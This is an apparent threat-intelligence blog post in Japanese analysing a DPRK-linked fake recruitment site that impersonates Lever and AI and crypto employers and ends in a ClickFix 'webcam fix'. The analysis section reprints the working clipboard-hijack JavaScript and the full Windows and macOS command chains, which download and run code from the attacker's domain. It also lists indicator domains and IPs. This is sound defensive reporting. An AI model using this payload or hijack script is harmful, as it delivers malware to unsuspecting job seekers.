レポート 6701

米国の AI 人材を狙う DPRK の偽求人プラットフォームの内幕 -------------------------------------------------------- 今週、私たちは DPRK に関連する Contagious Interview 作戦の新たな亜種の追跡を開始しました。これは、さまざまな職種の求職者をソーシャル エンジニアリングで操作して侵害することを目的とした違法求人プラットフォーム キャンペーンで、対象にはソフトウェア開発者、人工知能 (AI) 研究者、暗号通貨の専門家、その他の技術系および非技術系の求職者が含まれており、これらの分野の大手ブランドを模倣しています。広く報道されている、DPRK の IT ワーカー プログラムが従業員を装って企業に侵入するのに対し、Contagious Interview は実際の求職中の個人を侵害することに重点を置いています。この最新のバージョンは、はるかに高度な洗練度、正当性の手がかり、および技術的な完全性で際立っています。この発見は、今年すでに多くのDPRK関連のルアーを発見しているYARAベースの継続的なスキャンパイプラインを通じて明らかになりました。一見、また別の使い捨てのフィッシングページのように見えたものが、はるかに精巧なものであることが分かりました。数十のルート、動的に生成されるUUID駆動型の求人リスト、そして現代の雇用システムのUXを反映した応募ワークフローを備えた、React Next.jsベースの完全な求人プラットフォームです。このブログでは、lenvny[.]comでホストされている偽の求人掲示板の仕組みと意図を分析し、それがContagious Interviewのエコシステムにどのように適合するかを検証し、攻撃者がその技術を進化させ続ける中で求職者が注意すべき点を明らかにします。この偽の求人掲示板は危険なほど説得力があり、新たな被害者を引き寄せることはほぼ間違いありません。Contagious Interviewの背景 ---------------------------------- このブログはDPRKの脅威アクターの命名規則やクラスタリング手法に関する決定的なガイドを意図したものではありませんが、ここで議論されている活動の背後にある運用上の系譜を確立することは重要です。一般的に「Contagious Interview（伝染面接）」と呼ばれるキャンペーンは、ソーシャルエンジニアリングとマルウェア配信を駆使した、北朝鮮に関連した長期にわたる活動であり、主にソフトウェア開発者、暗号通貨専門家、技術職の求職者を標的としています。一部重複はあるものの、このキャンペーンは、偽の身元を使って正規企業にアクターを潜入させることに重点を置く、北朝鮮の他のITワーカーによる攻撃とは異なります。一方、「Contagious Interview」は、段階的な採用パイプライン、悪意のあるコーディング演習、不正な採用プラットフォームを通じて個人を侵害し、求職プロセス自体を武器化するように設計されています。具体的には、このブログで検証した活動は、以下のパターンに従っています。LinkedInメッセージ → 面接プロセス → ビデオ回答の録画 → ウェブカメラの修理（ClickFix） → マルウェア このワークフローでは、応募者は偽の求人情報に誘い込まれ、ビデオ回答の録画を促され、ヘルパーツールを使用してウェブカメラを「修理」するよう促されます。この一見無害なステップによって、標的のシステムに直接マルウェアが送り込まれます。 Validinでは、以前の調査で注目を集めた後、特にインフラ分析の回避技術をテストしている北朝鮮関連の攻撃者を、プラットフォームへのアクセスを試みる北朝鮮関連の攻撃者から継続的に監視、追跡、妨害してきました。これには、ロイターおよびSentinelOneと共同で発表した調査も含まれ、数百人を標的とした攻撃活動を記録しています。この取り組みを通じて、これらの攻撃者が利用するツール、ワークフロー、そして運用シグネチャに関する詳細な可視性を確立しました。この取り組みの中心となっているのは、業界独自のYARAベースの継続的検知手法です。これらの手法は、DPRK APTインフラ全体で観測されたアーティファクトと行動パターンに合わせて特別に調整されています。信頼できる業界パートナーからの知見と組み合わせることで、このアプローチは、インフラ構築の初期段階でContagious Interview活動の新たな亜種を検知することを可能にし、活動が時間とともにどのように進化していくかを明確に把握することを可能にします。ここで強調されている活動は、SekoiaのClickFake調査やCisco TalosによるFamous Chollimaの分析など、以前に報告されたパターンと密接に一致しており、この事例を北朝鮮関連の採用活動およびマルウェア攻撃キャンペーンの広範な運用履歴の中にしっかりと位置づけています。ルアーの設計 ----------- 最もよく報告されているContagious Interview形式のルアーは、偶然訪れた訪問者に対してほとんどインタラクションを提供しません。典型的には、簡素なログインフォーム、一般的な「招待制」ゲート、または攻撃者が設計したワークフローに従ってアクセスした場合にのみ機能するエラーページです。この事例はこれとは大きく異なります。攻撃者は機能を隠す代わりに、洗練されたSaaS製品を模倣した、完全に実現可能な一般向けランディングページを構築しました。具体的には、Lenvnyは「統合型AI搭載面接ツール」、つまり採用チーム向けの採用ソフトウェアであると主張しています。このドメインにアクセスすると、ユーザーは完全なマーケティング画面に遭遇します。その外観は、運営者が2025年のAIツールエコシステムの姿を想定して意図的に調整されており、クリーンでグラデーションを多用したUI、合成ブランディング、そして採用生産性向上を軸とした製品ストーリーとなっています。これにより、訪問者が求人に応募しようとする前から、ルアーの魅力が広がり、説得力も増しています。全体として、不正Lenvnyアプリケーションのテーマとデザインは、複数のドメインにおいて、正規のLever人材獲得プラットフォーム（https://www.lever.co/）を模倣しています。 図1. 悪意あるルアーのランディングページ。このページには、プロフェッショナルなバッジ（AIツールのリーダー）、偽造された推薦文、有名テクノロジー企業のロゴが掲載されています。これらは単なる装飾ではありません。  図2. バッジ、偽の引用、有名企業のロゴを介した社会的証明によって、詐欺の信憑性を高めています。攻撃者は、機能比較表を用いてこの信憑性をさらに高め、架空のプラットフォームをAIワークフローや採用生産性向上ツールを開発する実在の企業と並べて提示します。正規の製品と同等の製品であることを示すことで、標的は同等のプラットフォームであると考え、市場における真の競合相手であるに違いないと考えます。このパターンは、DPRKのルアー設計における増加傾向を反映しています。つまり、欧米のテック系スタートアップ企業のビジュアル言語を採用することで、疑念を軽減し、被害者の関与を促すというものです。  図3. 偽サイトと本物サイトの比較図。ルアーの信憑性をさらに高めようとしている。全体として、ルアーウェブサイトはマルウェア配信フローの単なるトリガーとしてではなく、開発者、AI専門家、暗号通貨関連の専門家をターゲットにするためにカスタマイズされた、コンバージョンに最適化されたファネルとして構築されています。その完成度の高さは、エンゲージメントを高め、ページ滞在時間を増やし、最終的な採用活動やマルウェア配信の手順を、北朝鮮の脅威アクターによくあるような不審な行動に突然移行するのではなく、実際の採用プロセスの自然な流れのように感じられるようにするための意図的な取り組みを示唆しています。 ### 求人情報 このルアーの最も印象的な要素の一つは、正規の採用エコシステムを模倣するために費やされた労力のレベルです。攻撃者は、被害者を単一の不正な応募フォームに誘導するだけでなく、AI、暗号通貨、Web3分野の有名企業の求人情報を掲載する複数の企業からなる「キャリアポータル」を構築しました。これらの企業の多くは、「伝染面接」スタイルの攻撃で繰り返しなりすまされています。ホームページ全体に目立つように行動喚起のCTA（コール・トゥ・アクション）が配置され、訪問者を求人情報へ誘導し、本物の人材マッチングプラットフォームであるかのような印象を与えています。ランディング ページには、Anthropic、Yuga Labs、Anchorage Digital、1kx、Gate、AppDupe、RealT、NYDIG、Digital Currency Group などの企業との提携が宣伝されており、各企業には実際のブランド、短い会社説明、求人情報を表示するためのリンクが掲載されています。  図 4. 有名ブランドによる「Find Your Dream Job」と称する求人情報。その一部は Contagious Interview のルアーで繰り返しなりすましされています。これらのリストをクリックすると、さらに詳しい情報が表示されます。たとえば、Anthropic のキャリア ページには、事業開発、製品管理、研究、財務など、架空の求人が数十件掲載されています。職種名、職務内容、雇用形態 (リモート、ハイブリッド、フルタイム) はすべて、米国の正規の求人広告に似せてフォーマットされています。また、完全に機能する求人ポータルという錯覚を強めるために、複数のドロップダウン メニューが用意されています。この設計は表面的な類似性だけにとどまらず、高スキルの求職者が雇用機会を評価する方法に対する理解を反映しています。現在の労働市場の需要、AI の安全性、Claude ツール、暗号インフラストラクチャ、事業開発などに沿った現実的な役割を提供することで、アクターはこのプラットフォームを、急成長するテクノロジー分野で競争力のある役割を求めている開発者、研究者、エンジニアにとって、妥当な次のステップとして位置付けています。  図 5. さまざまな職種の広告を掲載している Anthropic の求人応募リスト。ドロップダウン メニューは部分的に機能していたことに注意してください。 ### 申請書の記入 応募フローは、掲載されているすべての職種に複製された標準化されたフォームから始まります。役職や専門分野に関係なく、すべての求人に、氏名、電子メール、電話番号、現在の雇用主、場所、LinkedIn の URL という同じ必須フィールド セットが表示されます。これらの詳細は、DPRK のアイデンティティ プロファイリング活動の中核であり、「伝染性インタビュー」とより広範な DPRK キャンペーンの両方で見られる情報目標と一致しています。  図6. すべてのページで同じフォームの例。基本的なフィールド以外にも、攻撃者は巧妙に洗練された履歴書アップロードメカニズムを組み込んでいます。このページでは、「AIによる自動入力」機能が宣伝されており、PDFまたはDOCXファイルを解析して構造化データを抽出するとされています。パーサー自体は機能していないように見えますが、このルアーは被害者に実際の履歴書をアップロードするよう効果的に促します。これにより、攻撃者はマルウェアのステップが失敗した場合でも、正確でターゲットを絞り込んだ書類を作成し、場合によってはそれを自身の履歴書作成機能に利用することができます。 図7. 主要な連絡先と履歴書の詳細を要求する。次に、このページでは、GitHub、LinkedIn、ポートフォリオのURLなど、追加のソーシャルリンクと開発者IDリンクの入力を求められます。これは、エンジニア、AI研究者、暗号開発者など、オンラインで活発な技術活動を行っているグループを対象としたペルソナターゲティングと密接に一致しています。これらのリンクは、攻撃者にスキルセット、コードリポジトリ、雇用主の所属に関する情報を提供し、それらはその後のターゲティング決定に影響を与える可能性があります。  図8. ソーシャルリンクと「ビデオ紹介」。ClickFixルアーが配信されるポイントです。ただし、サイトへの初回アクセス時に有効な招待コードが提供された場合のみです。応募プロセスの最終ステップは「ビデオ紹介」の要件です。これは、応募者に、その職種への関心を説明する1～2分のビデオを録画するよう求めます。これは、既知の伝染性面接攻撃のプレイブックに関連する、典型的なClickFix手法のトリガーポイントです。  図9. 最終ステップ - オプションの追加情報と「雇用機会均等に関する情報」 有効な招待コードを使用してアクセスし、「ビデオを録画」をクリックすると、悪意のあるビデオエンコーディング修正プロセスの配信が開始されます。これは、一見無害な求人応募とマルウェアのインストールを繋ぐソーシャルエンジニアリングの橋渡しとなります。 図10. 回答を記録しようとすると、クリックフィックスメッセージを含むエラーダイアログが表示されます。長く洗練された、一見正当な応募フローの最後に悪意のある配信段階を埋め込むことで、攻撃者はターゲットが応募を完了する可能性を高めていると考えられます。このプロセスは、特にリモートファーストのAIおよび暗号通貨組織における現代の採用慣行と非常によく似ており、攻撃者は通常の応募プロセスのように見せかけた中にマルウェア段階を忍び込ませることができます。これは、トレードクラフトの観点から見ると、伝染性面接パターンの顕著な成熟を示しています。オペレーターは、被害者を直接面接やコーディングテストに押し込むのではなく、応募者が自ら認識し、信じている役割を選択できる完全な人材獲得パイプラインを構築します。この自己選択により、信頼が強化され、エンゲージメントが維持され、複数のステップにわたる疑念が軽減されます。ワークフローが「ビデオ紹介」段階、つまりClickFixペイロードが展開される段階に移行する頃には、被害者は既に時間を費やし、個人情報を共有し、プロセスの信頼性に信頼を築いています。悪意のある実行チェーンの分析 ---------------------------------------- 被害者がルアーページから「指示」をコピーすると、クリップボードハイジャックスクリプトは、クリップボードの内容を、完全に武器化されたコマンドに静かに置き換えます。このコマンドがターミナルに貼り付けられると、正規のソフトウェア更新ワークフローに紛れ込むように設計された多段階の感染シーケンスが開始されます。 Windowsのクリップボードに挿入されるペイロードは以下のとおりです: echo curl -L "https[:]//download[.]microsoft[.]com/download/graphics-driver-update.exe" -o driver-update.exe && driver-update.exe /silent & curl -k -o "%TEMP%\fixed.zip" "https[:]//app[.]lenvny[.]com/cam-v-abc123.fix" && powershell -Command "Expand-Archive -Force -Path '%TEMP%\fixed.zip' -DestinationPath '%TEMP%\fixed'" && wscript "%TEMP%\fixed\update.vbs" #### ステージ1: 偽の「Microsoft Driver Update」ダウンローダー このルアーは、「コピー」アクションのイベントリスナーを追加し、ページ上で選択されたコンテンツがあるかどうかを確認し、コンテンツの内容を変更することでこれを実現します。クリップボードのデータを使用して、悪意のあるコマンドをコピーします。悪意のあるコマンドの先頭には「echo」コマンドが付いており、次のコマンドを画面に表示するだけで、実際には実行しません。curl -L "https[:]//download[.]microsoft[.]com/download/graphics-driver-update.exe" -o driver-update.exe コマンドは、Microsoftのドメインからダウンロードされたとされる「グラフィックスドライバーの更新」という、説得力のある名前とホストのペイロードで始まります。&& driver-update.exe /silent 二重のアンパサンドは、「前のコマンドが成功した場合のみ実行」を意味します。echoは成功しますが、実際にはファイルをダウンロードしないため、実行ファイルは存在せず、エラー（ミスディレクション）が返されます。 #### ステージ 2: 攻撃者のインフラストラクチャからセカンダリ アーカイブを取得する & curl -k -o "%TEMP%\fixed.zip" "https[:]//app[.]lenvny[.]com/cam-v-abc123.fix" 単一のアンパサンド (&) は、前のコマンドが成功したかどうかに関係なく、次のコマンドを実行します。次に、コマンドは攻撃者が制御するドメイン (app[.]lenvny[.]com) から第 2 段階の ZIP アーカイブを取得します。-k フラグは証明書の検証を無効にし、ドメインが無効な証明書や自己署名証明書を提示した場合でもダウンロードを成功させます。 #### ステージ 3: 埋め込まれたスクリプトを抽出する powershell -Command "Expand-Archive -Force -Path '%TEMP%\fixed.zip' -DestinationPath '%TEMP%\fixed'" PowerShell は、悪意のあるアーカイブを一時フォルダーに展開します。 PowerShell を使用すると、ユーザーに表示される追加の UI が生成されることが回避されるため、DPRK の TTP ではコンポーネントのステージングに PowerShell がよく利用されています。#### ステージ 4: VBS ローダー wscript "%TEMP%\fixed\update.vbs" を実行 最終ステップでは、VBScript ローダーに実行権限が渡されます。VBScript ローダーは、永続化、環境チェック、または三次ペイロードの取得によく使用されます。wscript.exe を使用することで、攻撃者はネイティブ Windows コンポーネントに溶け込むことができます。### クリップボード ハイジャックの仕組み マルウェア チェーンを秘密裏に実行するために、ルアー ページにはコピー イベント リスナーが埋め込まれています。被害者がページから何かをコピーするたびに（ジョブ指示、コーディング チャレンジ、一見無害に見えるトラブルシューティング手順など）、スクリプトはまずテキストが選択されているかどうかを確認します。選択されている場合、ユーザーのクリップボードの内容を攻撃者が事前に作成したコマンド シーケンスに置き換えます。実際には、ページはブラウザの「コピー」イベントにカスタム ハンドラーを登録することでこれを実行します。トリガーされると、ハンドラーは被害者の正当な選択をプラットフォーム固有の悪意のあるペイロードと入れ替えます。悪意のある JavaScript let e = e =>; { if (! window.getSelection()) return; let t = "win" === M ? 'echo curl -L "https[:]//download[.]microsoft[.]com/download/graphics-driver-update.exe" -o driver-update.exe && driver-update.exe /silent & ' + H.windows : "echo 'curl -L \"https[:]//drivers[.]softpedia[.]com/driver-update.pkg\" -o driver-update.pkg && sudo installer -pkg driver-update.pkg -target /' & " + H.mac; e.clipboardData && (e.clipboardData.setData("text/plain", t), e.preventDefault()) } ; return document.addEventListener("copy", e), () =>; { document.removeEventListener("copy", e) } コピーの瞬間にクリップボードを操作することで、オペレーターはソーシャルエンジニアリングの問題の中で最も難しい部分、つまりターゲットに明らかに疑わしいコマンドを実行させるという部分を回避します。代わりに、ジョブタスクからテキストをコピーするという単一の日常的なアクションで、悪意のあるコマンドが密かにロードされます。サイトを検証しているセキュリティ意識の高いユーザーやアナリストであっても、知らないうちにイベントをトリガーする可能性があり、後で PowerShell またはターミナルに貼り付けると、完全なペイロードがそれ以上のプロンプトなしで実行されます。オペレーターは、候補者を悪意のあるスクリプトまたは実行ファイルにすぐに誘導するのではなく、AI、暗号化、およびソフトウェアの役割の一般的なオンボーディングまたはテストプロジェクトのプロセスに似たワークフロー内にペイロードを埋め込みます。攻撃をクリップボード イベントにフロントローディングし、チェーンを信頼できるトラブルシューティング プロセスでラップすることで、DPRK のオペレーターは次のことを行います。 - 摩擦を減らし、偶発的な実行の可能性を大幅に高める - ユーザーの習慣を利用する (「タスク指示からコピー/貼り付け」) - ネイティブの Windows ユーティリティを活用してステルス性を高める - 一目ではトリアージしにくい多段階のローダー チェーンを作成する 結果は、ユーザーの信頼、ブラウザーの対話性、リモート ワークの採用プロセスの自然な流れを利用する、より成熟した、操作的に洗練された感染経路です。 高価値の AI と暗号通貨の人材をターゲットにする利点 ---------------------------------------------------- Anthropic、Anchorage Digital、Yuga Labs などの急成長中のテクノロジー企業になりすますという選択は恣意的なものではなく、人工知能研究、暗号通貨インフラストラクチャ、高価値のソフトウェア開発人材に関する、十分に文書化された DPRK の収集の優先順位を反映しています。偽の求人広告は、単なるおとり広告ではなく、ペルソナフィルタリングの仕組みとして機能し、スキル、ネットワークアクセス、ワークステーション環境が北朝鮮の工作員にとって戦略的価値のある人材を正確に引きつけます。ターゲティングの観点から見ると、AIおよび暗号エンジニアにはいくつかの利点があります。1. 北朝鮮の戦略プログラムとの直接的な関連性。北朝鮮のAIへの関心は、軍事用途（自律システム、モデリング、サイバーオペレーションツールチェーンの自動化など）と経済目的（AI支援による詐欺、暗号資産操作、合成ID生成による制裁回避など）の両方に結びついています。法学修士課程、モデル展開、AI研究環境に携わるエンジニアをターゲットにすることで、北朝鮮政権が内部で開発に苦労しているツールや専門知識にアクセスできるようになります。1. 暗号資産へのアクセスによる即時の経済的有用性。暗号資産取引所、DeFiプラットフォーム、カストディプロバイダーの専門家は、多くの場合、高価値資産を管理する環境で活動しています。彼らのデバイス、認証情報、ソースリポジトリ、そして内部システムは、TraderTraitorやその派生型のような、北朝鮮による金銭目的の攻撃活動において頻繁に利用されています。主要なデジタル資産ブランドになりすますことで、攻撃者は運用ウォレット、CI/CDパイプライン、あるいは内部ダッシュボードへの特権アクセスを持つ個人に接触する態勢を整えています。1. ソーシャルエンジニアリングへの適合性。AIや暗号通貨関連の職種は、リモートワークに適した採用ワークフローに適しています。事前スクリーニングタスク、非同期のビデオ面接、そして技術評価は標準であり、疑わしいと感じることはほとんどありません。そのため、「ビデオ回答を録画する」→「ClickFixでウェブカメラを修理する」→マルウェア配信という一連の流れは、業界の常識的な行動にシームレスに溶け込んでいます。1. 高度なワークステーション権限が利用される可能性が高い。これらの分野の標的は、昇格されたアクセス権限、パッケージマネージャー、Docker化されたワークロード、カスタムツール、あるいは実験的なビルドを備えた開発環境を頻繁に実行しており、これらはすべて、最初のペイロード実行とその後の持続性の成功率を高めます。1. 独自の研究成果やコードへのアクセス。 AIラボの場合、これにはモデルの重み、微調整パイプライン、推論インフラストラクチャ、または未リリースの機能が含まれる場合があります。暗号通貨企業の場合、鍵管理システム、スマートコントラクト監査、または内部監視ツールが含まれる場合があります。これらはいずれも、運用上または財務的に、北朝鮮の目的を直接サポートできます。 求職者へのアドバイス ---------------------- 個々の求職者、特に技術職を目指している求職者は、なじみのない機会にはすべて健全なレベルの懐疑心を持って取り組む必要があります。 常に、企業のキャリアページと応募フローが公式のファーストパーティドメインからのものであることを確認してください。 また、採用担当者がこれまで見たことのないスタンドアロンドメインに誘導した場合は、注意して扱ってください。 履歴書、ポートフォリオ、または個人文書を完全に検証できないプラットフォームにアップロードすることは避けてください。 正当な企業が、ドメイン外のサイトで面接ポータルやコーディングテストをホストすることはめったにありませんし、評価の一環として未検証のプロジェクトリポジトリを使用するように圧力をかけることもありません。技術面接の一環としてリポジトリのクローン作成やコード実行を求められた場合は、事前に内容をよく確認し、不明なスクリプトは必ず仮想マシン、使い捨て環境、またはサンドボックス内で実行してください。数分間の綿密な調査が、転職の成功とワークステーションのセキュリティ侵害の分かれ目となる可能性があります。指標 ---------- 関連ドメインとIPlenvny[.]com advisorflux[.]com assureeval[.]com carrerlilla[.]com 69.62.86.78 72.61.9.45